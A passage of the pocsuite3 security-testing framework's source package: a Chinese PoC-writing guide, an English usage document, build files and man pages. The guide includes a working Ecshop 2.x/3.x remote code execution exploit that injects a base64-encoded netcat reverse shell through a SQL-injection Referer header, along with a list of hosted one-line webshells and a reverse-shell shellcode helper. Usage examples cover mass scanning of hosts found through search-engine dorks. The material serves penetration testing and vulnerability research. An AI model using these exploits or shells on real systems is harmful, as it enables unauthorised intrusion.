'Path':'xxx'} 'SiteAttr': {'Process':'xxx'} 'Stdout': 'result output string' } ``` output 为 Pocsuite3 标准输出 API，如果要输出调用成功信息则使用 `output.success(result)`，如果要输出调用失败则 `output.fail()`，系统自动捕获异常，不需要 PoC 里处理捕获，如果 PoC 里使用 try...except 来捕获异常，可通过`output.error('Error Message')` 来传递异常内容，建议直接使用模板中的 parse_output 通用结果处理函数对 _verify 和 _attack 结果进行处理。 ``` def _verify(self, verify=True): result = {} ... return self.parse_output(result) def parse_output(self, result): output = Output(self) if result: output.success(result) else: output.fail() return output ``` 8. 注册 PoC 实现类 在类的外部调用 register_poc() 方法注册 PoC 类 ``` class DemoPOC(POCBase): # POC内部代码 # 注册 DemoPOC 类 register_poc(DemoPOC) ``` #### 可自定义参数的 PoC
如果你需要编写一个可以交互参数的 PoC 文件(例如有的 PoC 脚本需要填写登录信息，或者任意命令执行时执行任意命令)，那么可以在 PoC 文件中声明一个 `_options` 方法。一个简单的例子如下： ```python from collections import OrderedDict from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests, VUL_TYPE from pocsuite3.api import OptString class DemoPOC(POCBase): vulID = '0' # ssvid version = '1.0' author = ['seebug'] vulDate = '2019-2-26' createDate = '2019-2-26' updateDate = '2019-2-25' references = [''] name = '自定义命令参数登录例子' appPowerLink = 'http://www.knownsec.com/' appName = 'test' appVersion = 'test' vulType = VUL_TYPE.XSS desc = '''这个例子说明了你可以使用console模式设置一些参数或者使用命令中的'--'来设置自定义的参数''' samples = [] category = POC_CATEGORY.EXPLOITS.WEBAPP def _options(self): o = OrderedDict() o["username"] = OptString('', description='这个poc需要用户登录，请输入登录账号', require=True) o["password"] = OptString('', description='这个poc需要用户密码，请输出用户密码', require=False) return o def _verify(self): result = {} payload = "username={0}&password={1}".format(self.get_option("username"), self.get_option("password")) r = requests.post(self.url, data=payload) if r.status_code == 200: result['VerifyInfo'] = {} result['VerifyInfo']['URL'] = self.url result['VerifyInfo']['Postdata'] = payload return self.parse_output(result) def _attack(self): return self._verify() def parse_output(self, result): output = Output(self) if result: output.success(result) else: output.fail('target is not vulnerable') return output register_poc(DemoPOC) ``` 它可以使你在 `console` 或者 `cli` 模式下调用。 - 在 console 模式下，Pocsuite3 模仿了 msf 的操作模式，你只需要使用 `set` 命令来设置相应的参数，然后 `run` 或者 `check` 来执行(`attack` 和 `shell` 命令也可以)。 - 在 cli 模式下，如上面例子所示，定义了 `username` 和 `password` 两个字段，你可以在参数后面加上 `--username test --password test` 来调用执行，需要注意的是，如果你的参数中包含了空格，用双引号 `"` 来包裹它。 ##### 自定义字段 像其他工具一样，如果你想使用自定义的字段，将它定义到 `_options` 方法中，然后返回一个数组。如果在 PoC 文件中想调用自定义字段，需要提前引入： ```python from pocsuite3.api import OptString, OptDict, OptIP, OptPort, OptBool, OptInteger, OptFloat, OptItems ``` | 字段类型 | 字段描述 | 参数解释 | 相关例子 | | ---------- | ------------------------------------------------------------ | ------------------------------------------------------------ | -------- | | OptString | 接收字符串类型参数 | default: 传入一个默认值
descript: 字段描述，默认为空
require: 是否必须，默认False | | | OptDict | 接收一个字典类型参数，在选择上如果选择key，调用时会调用对应的value | default: 传入一个默认值
descript: 字段描述，默认为空
require: 是否必须，默认False | | | OptIP | 接收IP类型的字符串 | default: 传入一个默认值
descript: 字段描述，默认为空
require: 是否必须，默认False | | | OptPort | 接收端口类型参数 | default: 传入一个默认值
descript: 字段描述，默认为空
require: 是否必须，默认False | | | OptBool | 接收布尔类型参数 | default: 传入一个默认值
descript: 字段描述，默认为空
require: 是否必须，默认False | | | OptInteger | 接收整数类型参数 | default: 传入一个默认值
descript: 字段描述，默认为空
require: 是否必须，默认False | | | OptFloat | 接收浮点数类型参数 | default: 传入一个默认值
descript: 字段描述，默认为空
require: 是否必须，默认False | | | OptItems | 接收list类型参数 | default: 传入一个默认值
selectd: 默认选择
descript: 字段描述，默认为空
require: 是否必须，默认False | | 需要注意的是，`console` 模式支持所有的参数类型，`cli` 模式除了`OptDict`、`OptBool`、`OptItems` 类型外都支持。 #### PoC 编写注意事项
1. 要求在编写 PoC 的时候，尽量的不要使用第三方模块，如果在无法避免的情况下，请认真填写 install_requires 字段，填写格式参考《PoC 第三方模块依赖说明》。 2. 要求编写 PoC 的时候，尽量的使用 Pocsuite3 已经封装的 API 提供的方法，避免自己重复造轮子，对于一些通用方法可以加入到 API，具体参考《通用 API 列表》。 3. 如果 PoC 需要包含远程文件等，统一使用 Pocsuite3 远程调用文件，具体可以参考[《Pocsuite3 远程调用文件列表》](#inclue_files)，不要引入第三方文件，如果缺少对应文件，联系管理员添加。 4. 要求每个 PoC 在编写的时候，尽可能的不要要求输入参数，这样定制化过高，不利于 PoC 的批量化调度执行，尽可能的 PoC 内部实现参数的构造，至少应该设置默认值，如某个 PoC 需要指定用户id，那么应该允许使用 extar_param 传入 id，也应该没有传入该参数的时候自动设置默认值，不应该影响 PoC 的正常运行与验证。 5. 要求每个 PoC 在输出结果的时候，尽可能的在不破坏的同时输出取证信息，如输出进程列表，具体参考[《PoC 结果返回规范》](#resultstandard)。 6. 要求认真填写 PoC 信息字段，其中 vulID 请填写 Seebug 上的漏洞 ID（不包含 SSV-）。 7. 为了防止误报产生以及避免被关键词被 WAF 等作为检测特征，要求验证结果判断的时候输出随机的字符串（可以调用 API 中的`random_str`方法），而不用采用固定字符串。 比如： ``` 检测 SQL 注入时： token = random_str() payload = 'select md5(%s)' % token ... if hashlib.new('md5', token).hexdigest() in content: result['VerifyInfo'] = {} result['VerifyInfo']['URL'] = self.url 检测 XSS 漏洞时： # 可参考 https://paper.seebug.org/1119/ token = random_str() payload = 'alert("%s")' % token ... if payload in content: result['VerifyInfo'] = {} result['VerifyInfo']['URL'] = self.url 检测 PHP 文件上传是否成功： token = random_str() payload = '' % token ... if hashlib.new('md5', token).hexdigest() in content: result['VerifyInfo'] = {} result['VerifyInfo']['URL'] = self.url ``` 8. 任意文件如果需要知道网站路径才能读取文件的话，可以读取系统文件进行验证，要写 Windows 版和 Linux 版两个版本。 9. 检测模式下，上传的文件一定要删掉。 10. 程序可以通过某些方法获取表前缀，just do it；若不行，保持默认表前缀。 11. PoC 编写好后，务必进行测试，测试规则为：5 个不受漏洞影响的网站，确保 PoC 攻击不成功；5 个受漏洞影响的网站，确保 PoC 攻击成功 #### Pocsuite3 远程调用文件列表
部分 PoC 需要采用包含远程文件的形式，要求基于 Pocsuite3 的 PoC 统一调用统一文件(如需引用未在以下文件列表内文件，请联系 404-team@knownsec.com 或者直接提交 issue)。 统一 URL 调用路径：`https://pocsuite.org/include_files/`，如 `https://pocsuite.org/include_files/xxe_verify.xml` **文件列表** |文件名|说明| |-----|---| |a.jsp|一个通用简单的 JSP 一句话 Shell，攻击模式| |b.jsp|一个通用简单的 JSP 一句话 Shell，验证模式| |php_attack.txt|PHP 一句话| |php_verify.txt|PHP 打印 md5 值| |xxe_verify.xml|XXE 验证文件| #### 通用 API 列表
在编写 PoC 的时候，相关方法请尽量调用通用的已封装的 API **通用方法**
|方法|说明| |---|----| |from pocsuite3.api import logger|日志记录，比如logger.log(info)| |from pocsuite3.api import requests|请求类，用法同 requests| |from pocsuite3.api import Seebug|Seebug api 调用| |from pocsuite3.api import ZoomEye|ZoomEye api 调用| |from pocsuite3.api import CEye|Ceye api 调用| |from pocsuite3.api import crawl|简单爬虫功能| |from pocsuite3.api import PHTTPServer|Http服务功能| |from pocsuite3.api import REVERSE_PAYLOAD|反向连接shell payload| |from pocsuite3.api import get_results|获取结果| **参数调用**
* self.headers 用来获取 http 请求头， 可以通过 --cookie, --referer，--user-agent，--headers 来修改和增加需要的部分 * self.params 用来获取 --extra-params 赋值的变量，Pocsuite3 会自动转化成字典格式，未赋值时为空字典 * self.url 用来获取 -u / --url 赋值的 URL，如果之前赋值是 baidu.com 这样没有协议的格式时， Pocsuite3 会自动转换成 http://baidu.com ##### ShellCode 生成支持 在一些特殊的 Linux 和 Windows 环境下，想得到反弹 shell 条件比较困难。为此我们制作了用于在 Windows/Linux x86 x64 环境下的用于反弹的 shellcode，并制作了接口支持，你在只需要拥有命令执行权限下便可以自动将 shellcode 写入到目标机器以及执行反弹 shell 命令。Demo Poc：https://github.com/knownsec/pocsuite3/blob/master/pocsuite3/pocs/thinkphp_rce2.py ```python from pocsuite3.api import generate_shellcode_list _list = generate_shellcode_list(listener_ip=get_listener_ip(), listener_port=get_listener_port(), os_target=OS.LINUX, os_target_arch=OS_ARCH.X86) ``` 将生成一长串执行指令，执行这些指令便可以反弹出一个 shell。 ##### HTTP 服务内置 对于一些需要第三方 HTTP 服务才能验证的漏洞，Pocsuite3 也提供对应的API，支持在本地开启一个 HTTP 服务方便进行验证。 可查看测试用例：https://github.com/knownsec/pocsuite3/blob/master/tests/test_httpserver.py #### PoC 代码示例
##### PoC Python 代码示例
[Ecshop 2.x/3.x Remote Code Execution](http://www.seebug.org/vuldb/ssvid-97343) PoC: ``` import base64 from urllib.parse import urljoin from pocsuite3.api import Output, POCBase, register_poc, requests, logger from pocsuite3.api import get_listener_ip, get_listener_port from pocsuite3.api import REVERSE_PAYLOAD from pocsuite3.lib.utils import random_str from requests.exceptions import ReadTimeout class DemoPOC(POCBase): vulID = '97343' # ssvid version = '3.0' author = ['seebug'] vulDate = '2018-06-14' createDate = '2018-06-14' updateDate = '2018-06-14' references = ['https://www.seebug.org/vuldb/ssvid-97343'] name = 'Ecshop 2.x/3.x Remote Code Execution' appPowerLink = '' appName = 'ECSHOP' appVersion = '2.x,3.x' vulType = 'Romote Code Execution' desc = ''' ''' samples = [] install_requires = [''] def _verify(self): result = {} path = "user.php?act=login" url = urljoin(self.url, path) echashs = [ '554fcae493e564ee0dc75bdf2ebf94ca', # ECShop 2.x hash '45ea207d7a2b68c49582d2d22adf953a' # ECShop 3.x hash ] for echash in echashs: payload = ('{0}ads|a:2:{{s:3:"num";s:116:"*/ select 1,0x2720756E696F6E202F2A,3,4,5,' '6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10' '-- -";s:2:"id";s:10:"\' union /*";}}{0}').format(echash) headers = {"Referer": payload} try: resp = requests.get(url, headers=headers) if resp and resp.status_code == 200 and "phpinfo()" in resp.text: result['VerifyInfo'] = {} result['VerifyInfo']['URL'] = url result['VerifyInfo']['Referer'] = payload break except Exception as ex: pass return self.parse_output(result) def parse_output(self, result): output = Output(self) if result: output.success(result) else: output.fail('target is not vulnerable') return output def _attack(self): return self._verify() def _shell(self): path = "user.php" url = urljoin(self.url, path) echashs = [ '554fcae493e564ee0dc75bdf2ebf94ca', # ECShop 2.x hash '45ea207d7a2b68c49582d2d22adf953a' # ECShop 3.x hash ] cmd = REVERSE_PAYLOAD.NC.format(get_listener_ip(), get_listener_port()) phpcode = 'passthru("{0}");'.format(cmd) encoded_code = base64.b64encode(phpcode.encode()) postdata = { 'action': 'login', 'vulnspy': 'eval/**/(base64_decode({0}));exit;'.format(encoded_code.decode()), 'rnd': random_str(10) } for echash in echashs: payload = '{0}ads|a:3:{{s:3:"num";s:207:"*/ select 1,0x2720756e696f6e2f2a,3,4,5,6,7,8,0x7b247b2476756c6e737079275d3b6576616c2f2a2a2f286261736536345f6465636f646528275a585a686243676b5831425055315262646e5673626e4e77655630704f773d3d2729293b2f2f7d7d,0--";s:2:"id";s:9:"'"'"' union/*";s:4:"name";s:3:"ads";}}{1}'.format(echash, echash) headers = {"Referer": payload} try: resp = requests.post(url, data=postdata, headers=headers) if resp and resp.status_code == 200 and "phpinfo()" in resp.text: break except ReadTimeout: break except Exception as ex: pass register_poc(DemoPOC) ``` HttpServer Demo: ```python """ If you have issues about development, please read: https://github.com/knownsec/pocsuite3/blob/master/docs/CODING.md for more about information, plz visit https://pocsuite.org """ from http.server import SimpleHTTPRequestHandler from pocsuite3.api import Output, POCBase, register_poc from pocsuite3.api import PHTTPServer class MyRequestHandler(SimpleHTTPRequestHandler): def do_GET(self): path = self.path status = 404 count = 0 xxe_dtd = '''xxx''' if path == "/xxe_dtd": count = len(xxe_dtd) status = 200 self.send_response(status) self.send_header('Content-Type', 'text/html') self.send_header('Content-Length', '{}'.format(count)) self.end_headers() self.wfile.write(xxe_dtd.encode()) return self.send_response(status) self.send_header('Content-Type', 'text/html') self.send_header("Content-Length", "{}".format(count)) self.end_headers() def do_HEAD(self): status = 404 if self.path.endswith('jar'): status = 200 self.send_response(status) self.send_header("Content-type", "text/html") self.send_header("Content-Length", "0") self.end_headers() class DemoPOC(POCBase): vulID = '' # ssvid version = '1.0' author = ['seebug'] vulDate = '2018-03-08' createDate = '2018-04-12' updateDate = '2018-04-13' references = [''] name = '' appPowerLink = '' appName = '' appVersion = '' vulType = '' desc = ''' ''' samples = [] install_requires = [''] def _verify(self): result = {} '''Simple http server demo default params: bind_ip='0.0.0.0' bind_port=666 is_ipv6=False use_https=False certfile=os.path.join(paths.POCSUITE_DATA_PATH, 'cacert.pem') requestHandler=BaseRequestHandler You can write your own handler, default list current directory ''' httpd = PHTTPServer(requestHandler=MyRequestHandler) httpd.start() # Write your code return self.parse_output(result) def parse_output(self, result): output = Output(self) if result: output.success(result) else: output.fail('target is not vulnerable') return output _attack = _verify register_poc(DemoPOC) ``` ### Pocsuite3 集成调用
Pocsuite3 api 提供了集成调用` pocsuite3` 的全部功能函数，可参见测试用例 `tests/test_import_pocsuite_execute.py`。典型的集成调用方法如下： ```python from pocsuite3.api import init_pocsuite from pocsuite3.api import start_pocsuite from pocsuite3.api import get_results def run_pocsuite(): # config 配置可参见命令行参数， 用于初始化 pocsuite3.lib.core.data.conf config = { 'url': ['http://127.0.0.1:8080', 'http://127.0.0.1:21'], 'poc': ['ecshop_rce', 'ftp_burst'] } init_pocsuite(config) start_pocsuite() result = get_results() ``` ### PoC 规范说明
#### PoC 编号说明
PoC 编号 ID 与漏洞 ID 一致. 示例，漏洞库中的漏洞统一采用 “SSV-xxx” 编号的方式，则 PoC 编号为 xxx #### PoC 命名规范
PoC 命名分成3个部分组成漏洞应用名_版本号_漏洞类型名称 然后把文件名称中的所有字母改成小写，所有的符号改成 `_` 文件名不能有特殊字符和大写字母，最后出来的文件名应该像这样： ``` _1847_seeyon_3_1_login_info_disclosure.py ``` #### PoC 第三方模块依赖说明
PoC 编写的时候要求尽量不要使用第三方模块，如果必要使用，请在 PoC 的基础信息部分，增加 install_requires 字段，按照以下格式填写依赖的模块名： ``` install_requires =[str_item_, str_item, …] # 整个字段的值为 list，每个项为一个依赖模块 ``` str_item 格式：模块名==版本号，模块名为 pip install 安装时的模块名（请不要填写 import 的模块名） 如果遇到安装时模块名与调用时的不一致情况，用 `:` 分割开，例如常见的加密算法库 `pycryptodome`，但是调用是以 `from Crypto.Cipher import AES`，此时就需要如下填写： ```python install_requires = ['pycryptodome:Crypto'] ``` #### PoC 结果返回规范
result 为 PoC 返回的结果数据类型，result 返回值要求返回完整的一项，暂不符合 result 字段的情况，放入 extra 字段中，此步骤必须尽可能的保证运行者能够根据信息 复现/理解 漏洞，若果步骤复杂，在取证信息中说明。例如： ```python # 返回数据库管理员密码 result['DBInfo']['Password']='xxxxx' # 返回 Webshell 地址 result['ShellInfo']['URL'] = 'xxxxx' # 返回网站管理员用户名 result['AdminInfo']['Username']='xxxxx' ``` **extra 字段说明**
extra 字段为通用结果字段的补充字段，如果需要返回的内容中不属于通用结果字段，那么可以使用 extra 字段进行赋值。extra 字段为 dict 格式，可自定义 key 进行赋值，如： ``` result['extra' ]['field'] = 'aa' ``` **特殊字段：** evidence，针对结果中返回取证信息，定义字段名只允许为 evidence，并且只能存储于 extar 字段，即： ``` result['extra' ]['evidence'] = 'aa' ``` **通用字段说明**
``` result：[ { name: 'DBInfo'， value：'数据库内容' }， { name: 'Username'， value: '管理员用户名'}, { name: 'Password'， value：'管理员密码' }， { name: 'Salt'， value: '加密盐值'}, { name: 'Uid'， value: '用户ID'}, { name: 'Groupid'， value: '用户组ID'}, { name: 'ShellInfo'， value: 'Webshell信息'}, { name: 'URL'， value: 'Webshell地址'}, { name: 'Content'， value: 'Webshell内容'}, { name: 'FileInfo'， value: '文件信息'}, { name: 'Filename'， value: '文件名称'}, { name: 'Content'， value: '文件内容'}, { name: 'XSSInfo'， value: '跨站脚本信息'}, { name: 'URL'， value: '验证URL'}, { name: 'Payload'， value: '验证Payload'}, { name: 'AdminInfo'， value: '管理员信息'}, { name: 'Uid'， value: '管理员ID'}, { name: 'Username'， value: '管理员用户名'}, { name: 'Password'， value: '管理员密码'}, { name: 'Database'， value：'数据库信息' }， { name: 'Hostname'， value: '数据库主机名'}, { name: 'Username'， value：'数据库用户名' }， { name: 'Password'， value: '数据库密码'}, { name: 'DBname'， value: '数据库名'}, { name: 'VerifyInfo'， value: '验证信息'}, { name: 'Target'， value: '验证host:port'}, { name: 'URL'， value: '验证URL'}, { name: 'Postdata'， value: '验证POST数据'}, { name: 'Path'， value: '网站绝对路径'}, { name: 'SiteAttr'， value: '网站服务器信息'}, { name: 'Process'， value: '服务器进程'} ] ``` #### 漏洞类型规范
英文名称中文名称缩写
Cross Site Scripting 跨站脚本 xss
Cross Site Request Forgery 跨站请求伪造 csrf
SQL Injection Sql注入 sql-inj
LDAP Injection ldap注入 ldap-inj
Mail Command Injection 邮件命令注入 smtp-inj
Null Byte Injection 空字节注入 null-byte-inj
CRLF Injection CRLF注入 crlf-inj
SSI Injection Ssi注入 ssi-inj
XPath Injection Xpath注入 xpath-inj
XML Injection Xml注入 xml-inj
XQuery Injection Xquery 注入 xquery-inj
Command Execution 命令执行 cmd-exec
Code Execution 代码执行 code-exec
Remote File Inclusion 远程文件包含 rfi
Local File Inclusion 本地文件包含 lfi
Abuse of Functionality 功能函数滥用 func-abuse
Brute Force 暴力破解 brute-force
Buffer Overflow 缓冲区溢出 buffer-overflow
Content Spoofing 内容欺骗 spoofing
Credential Prediction 证书预测 credential-prediction
Session Prediction 会话预测 session-prediction
Denial of Service 拒绝服务 dos
Fingerprinting 指纹识别 finger
Format String 格式化字符串 format-string
HTTP Response Smuggling http响应伪造 http-response-smuggling
HTTP Response Splitting http响应拆分 http-response-splitting
HTTP Request Splitting http请求拆分 http-request-splitting
HTTP Request Smuggling http请求伪造 http-request-smuggling
HTTP Parameter Pollution http参数污染 hpp
Integer Overflows 整数溢出 int-overflow
Predictable Resource Location 可预测资源定位 res-location
Session Fixation 会话固定 session-fixation
URL Redirector Abuse url重定向 redirect
Privilege Escalation 权限提升 privilege-escalation
Resolve Error 解析错误 resolve-error
Arbitrary File Creation 任意文件创建 file-creation
Arbitrary File Download 任意文件下载 file-download
Arbitrary File Deletion 任意文件删除 file-deletion
Arbitrary File Read 任意文件读取 file-read
Backup File Found 备份文件发现 bak-file-found
Database Found 数据库发现 db-found
Directory Listing 目录遍历 dir-listing
Directory Traversal 目录穿越 dir-traversal
File Upload 文件上传 file-upload
Login Bypass 登录绕过 login-bypass
Weak Password 弱密码 weak-pass
Remote Password Change 远程密码修改 remote-pass-change
Code Disclosure 代码泄漏 code-disclosure
Path Disclosure 路径泄漏 path-disclosure
Information Disclosure 信息泄漏 info-disclosure
Security Mode Bypass 安全模式绕过 sec-bypass
Malware 挂马 mal
Black Link 暗链 black-link
Backdoor 后门 backdoor
Insecure Cookie Handling 不安全的Cookie insecure-cookie-handling
Shellcode Shellcode shellcode
Variable Coverage 变量覆盖 variable-coverage
Injecting Malware Codes 恶意代码注入 injecting-malware-codes
Upload Files 文件上传 upload-files
Local Overflow 本地溢出 local-overflow
Path Traversal 目录穿越 path-traversal
Unauthorized Access 未授权访问 unauth-access
Remote Overflow 远程溢出 remote-overflow
Man-in-the-middle 中间人攻击 mitm
Out of Memory 内存溢出 out-of-memory
Buffer Over-read 缓冲区越界读 buffer-over-read
Backup File Found 备份文件泄漏 backup-file-found
Use After Free 释放后使用 uaf
DNS Hijacking DNS劫持 dns-hijacking
Improper Input Validation 不正确的输入校验 improper-input-validation
Universal Cross-site Scripting 通用型XSS uxss
Server-Side Request Forgery 服务器端请求伪造 ssrf
Other 其他 other
也可以参见[漏洞类型规范](http://seebug.org/category) pocsuite3-2.0.3/docs/USAGE.md000066400000000000000000000216001440624615500155560ustar00rootroot00000000000000# This document has stopped maintenance, please move to https://pocsuite.org # Usage - **pocsuite**: a cool and hackable command line program ## pocsuite It supports three modes: - ```verify``` - ```attack``` - ```shell``` You can also use ```pocsuite -h``` for more details. ``` usage: pocsuite [options] optional arguments: -h, --help show this help message and exit --version Show program's version number and exit --update Update Pocsuite3 -n, --new Create a PoC template -v {0,1,2,3,4,5,6} Verbosity level: 0-6 (default 1) Target: At least one of these options has to be provided to define the target(s) -u URL [URL ...], --url URL [URL ...] Target URL/CIDR (e.g. "http://www.site.com/vuln.php?id=1") -f URL_FILE, --file URL_FILE Scan multiple targets given in a textual file (one per line) -p PORTS, --ports PORTS add additional port to each target (e.g. 8080,8443) -r POC [POC ...] Load PoC file from local or remote from seebug website -k POC_KEYWORD Filter PoC by keyword, e.g. ecshop -c CONFIGFILE Load options from a configuration INI file Mode: Pocsuite running mode options --verify Run poc with verify mode --attack Run poc with attack mode --shell Run poc with shell mode Request: Network request options --cookie COOKIE HTTP Cookie header value --host HOST HTTP Host header value --referer REFERER HTTP Referer header value --user-agent AGENT HTTP User-Agent header value (default random) --proxy PROXY Use a proxy to connect to the target URL (protocol://host:port) --proxy-cred PROXY_CRED Proxy authentication credentials (name:password) --timeout TIMEOUT Seconds to wait before timeout connection (default 10) --retry RETRY Time out retrials times (default 0) --delay DELAY Delay between two request of one thread --headers HEADERS Extra headers (e.g. "key1: value1\nkey2: value2") Account: Account options --ceye-token CEYE_TOKEN CEye token --oob-server OOB_SERVER Interactsh server to use (default "interact.sh") --oob-token OOB_TOKEN Authentication token to connect protected interactsh server --seebug-token SEEBUG_TOKEN Seebug token --zoomeye-token ZOOMEYE_TOKEN ZoomEye token --shodan-token SHODAN_TOKEN Shodan token --fofa-user FOFA_USER Fofa user --fofa-token FOFA_TOKEN Fofa token --quake-token QUAKE_TOKEN Quake token --hunter-token HUNTER_TOKEN Hunter token --censys-uid CENSYS_UID Censys uid --censys-secret CENSYS_SECRET Censys secret Modules: Modules options --dork DORK Zoomeye dork used for search --dork-zoomeye DORK_ZOOMEYE Zoomeye dork used for search --dork-shodan DORK_SHODAN Shodan dork used for search --dork-fofa DORK_FOFA Fofa dork used for search --dork-quake DORK_QUAKE Quake dork used for search --dork-hunter DORK_HUNTER Hunter dork used for search --dork-censys DORK_CENSYS Censys dork used for search --max-page MAX_PAGE Max page used in search API --search-type SEARCH_TYPE search type used in search API, web or host --vul-keyword VUL_KEYWORD Seebug keyword used for search --ssv-id SSVID Seebug SSVID number for target PoC --lhost CONNECT_BACK_HOST Connect back host for target PoC in shell mode --lport CONNECT_BACK_PORT Connect back port for target PoC in shell mode --tls Enable TLS listener in shell mode --comparison Compare popular web search engines --dork-b64 Whether dork is in base64 format Optimization: Optimization options -o OUTPUT_PATH, --output OUTPUT_PATH Output file to write (JSON Lines format) --plugins PLUGINS Load plugins to execute --pocs-path POCS_PATH User defined poc scripts path --threads THREADS Max number of concurrent network requests (default 150) --batch BATCH Automatically choose defaut choice without asking --requires Check install_requires --quiet Activate quiet mode, working without logger --ppt Hiden sensitive information when published to the network --pcap use scapy capture flow --rule export suricata rules, default export reqeust and response --rule-req only export request rule --rule-filename RULE_FILENAME Specify the name of the export rule file Poc options: definition options for PoC --options Show all definition options ``` **-f, --file URLFILE** Scan multiple targets given in a textual file ``` $ pocsuite -r pocs/poc_example.py -f url.txt --verify ``` > Attack batch processing mode only need to replace the ```--verify``` to ```--attack```. **-r POCFILE** POCFILE can be a file or Seebug SSVID. pocsuite plugin can load poc codes from any where. ``` $ pocsuite -r ssvid-97343 -u http://www.example.com --shell ``` **--verify** Run poc with verify mode. PoC(s) will be only used for a vulnerability scanning. ``` $ pocsuite -r pocs/poc_example.py -u http://www.example.com/ --verify ``` **--attack** Run poc with attack mode, PoC(s) will be exploitable, and it may allow hackers/researchers break into labs. ``` $ pocsuite -r pocs/poc_example.py -u http://www.example.com/ --attack ``` **--shell** Run poc with shell mode, PoC will be exploitable, when PoC shellcode successfully executed, pocsuite3 will drop into interactive shell. ``` $ pocsuite -r pocs/poc_example.py -u http://www.example.com/ --shell ``` **--threads THREADS** Using multiple threads, the default number of threads is 150 ``` $ pocsuite -r pocs/poc_example.py -f url.txt --verify --threads 10 ``` **--dork DORK** If you are a [**ZoomEye**](https://www.zoomeye.org/) user, The API is a cool and hackable interface. ex: Search redis server with ```port:6379``` and ```redis``` keyword. ``` $ pocsuite --dork 'port:6379' --vul-keyword 'redis' --max-page 2 ``` **--dork-shodan DORK** If you are a [**Shodan**](https://www.shodan.io/) user, The API is a cool and hackable interface. ex: Search libssh server with `libssh` keyword. ``` pocsuite -r pocs/libssh_auth_bypass.py --dork-shodan libssh --threads 10 ``` **--dork-fofa DORK** If you are a [**Fofa**](fofa) user, The API is a cool and hackable interface. ex: Search web server thinkphp with `body="thinkphp"` keyword. ``` $ pocsuite -r pocs/check_http_status.py --dork-fofa 'body="thinkphp"' --search-type web --threads 10 ``` **--dork-quake DORK** If you are a [**Quake**](quake) user, The API is a cool and hackable interface. ex: Search web server thinkphp with `app:"ThinkPHP"` keyword. ``` $ pocsuite -r pocs/check_http_status.py --dork-quake 'app:"ThinkPHP"' --threads 10 ``` **--dork-b64** In order to solve the problem of escaping, use --dork-b64 to tell the program that you are passing in base64 encoded dork. ``` $ pocsuite --dork cG9ydDo2Mzc5 --vul-keyword 'redis' --max-page 2 --dork-b64 ``` **--rule** Export suricate rules, default export reqeust and response and The poc directory is /pocs/. Use the --pocs-path parameter to set the directory where the poc needs to be ruled ``` $ pocsuite --rule ``` **--rule-req** In some cases, we may only need the request rule, --rule-req only export request rule. ``` $ pocsuite --rule-req ``` If you have good ideas, please show them on your way. ## Example ``` cli mode # basic usage, use -v to set the log level pocsuite -u http://example.com -r example.py -v 2 # run poc with shell mode pocsuite -u http://example.com -r example.py -v 2 --shell # search for the target of redis service from ZoomEye and perform batch detection of vulnerabilities. The threads is set to 20 pocsuite -r redis.py --dork service:redis --threads 20 # load all poc in the poc directory and save the result as html pocsuite -u http://example.com --plugins poc_from_pocs,html_report # load the target from the file, and use the poc under the poc directory to scan pocsuite -f batch.txt --plugins poc_from_pocs,html_report # load CIDR target pocsuite -u 10.0.0.0/24 -r example.py --plugins target_from_cidr # the custom parameters `command` is implemented in ecshop poc, which can be set from command line options pocsuite -u http://example.com -r ecshop_rce.py --attack --command "whoami" console mode poc-console ``` pocsuite3-2.0.3/make.bat000066400000000000000000000000411440624615500150410ustar00rootroot00000000000000cd %~dp0 python3 -m pip install .pocsuite3-2.0.3/makefile000066400000000000000000000015571440624615500151510ustar00rootroot00000000000000SRC_DIR = pocsuite3 MAKE = make .PHONY: prebuildclean install build pypimeta pypi buildupload test flake8 clean prebuildclean: @+python -c "import shutil; shutil.rmtree('build', True)" @+python -c "import shutil; shutil.rmtree('dist', True)" @+python -c "import shutil; shutil.rmtree('pocsuite3.egg-info', True)" install: python3 setup.py install build: @make prebuildclean python3 setup.py sdist --formats=zip bdist_wheel #python3 setup.py bdist_wininst pypimeta: twine register pypi: twine upload dist/* buildupload: @make build #@make pypimeta @make pypi test: tox --skip-missing-interpreters flake8: @+flake8 --max-line-length=120 --exclude .asv,.tox,pocsuite3/thirdparty -j 8 --count --statistics --exit-zero pocsuite3 --ignore E501,F401,F403,W503,W605 clean: rm -rf *.egg-info dist build .tox find $(SRC_DIR) tests -type f -name '*.pyc' -delete pocsuite3-2.0.3/manpages/000077500000000000000000000000001440624615500152345ustar00rootroot00000000000000pocsuite3-2.0.3/manpages/poc-console.1000066400000000000000000000031721440624615500175420ustar00rootroot00000000000000.TH POC-CONSOLE "1" "Nov 2022" "Manual page for poc-console" .\" .\" Nov 3, 2022 .\" Man page author: .\" Tian Qiao .\" .SH NAME .I poc-console \- console mode of .B pocsuite3. .SH Legal Disclaimer poc-console is part of pocsuite3. Usage of pocsuite3 for attacking targets without prior mutual consent is illegal. pocsuite3 is for security testing purposes only. .SH SYNOPSIS .B poc-console .SH DESCRIPTION .I poc-console is the console mode of pocsuite3. .I pocsuite3 is an open-sourced remote vulnerability testing and proof-of-concept development framework developed by the Knownsec 404 Team. It comes with a powerful proof-of-concept engine, many nice features for the ultimate penetration testers and security researchers. .SH OPTIONS poc-console do not have command line options. To see a list of available commands, enter help at the console prompt. .SH "SEE ALSO" The full documentation for .B pocsuite3 is maintained at: .br .I https://pocsuite.org .PP .SH VERSION This manual page documents pocsuite3 version 2.0.3 .SH AUTHOR .br (c) 2014-present by Knownsec 404 Team .br <404-team@knownsec.com> .LP This program is free software; you may redistribute and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; Version 2 with the clarifications and exceptions described below. This guarantees your right to use, modify, and redistribute this software under certain conditions. If you wish to embed pocsuite3 technology into proprietary software, we sell alternative licenses (contact 404-team@knownsec.com). .PP Manual page started by Tian Qiao .PP pocsuite3-2.0.3/manpages/pocsuite.1000066400000000000000000000156741440624615500171660ustar00rootroot00000000000000.TH POCSUITE "1" "Nov 2022" "Manual page for pocsuite" .\" .\" Nov 3, 2022 .\" Man page author: .\" Tian Qiao .\" .SH NAME .I pocsuite3 \- open-sourced remote vulnerability testing framework. .SH Legal Disclaimer Usage of pocsuite3 for attacking targets without prior mutual consent is illegal. pocsuite3 is for security testing purposes only. .SH SYNOPSIS .B pocsuite \-h[elp] .br .B pocsuite [options] .br .SH DESCRIPTION .I pocsuite3 is an open-sourced remote vulnerability testing and proof-of-concept development framework developed by the Knownsec 404 Team. It comes with a powerful proof-of-concept engine, many nice features for the ultimate penetration testers and security 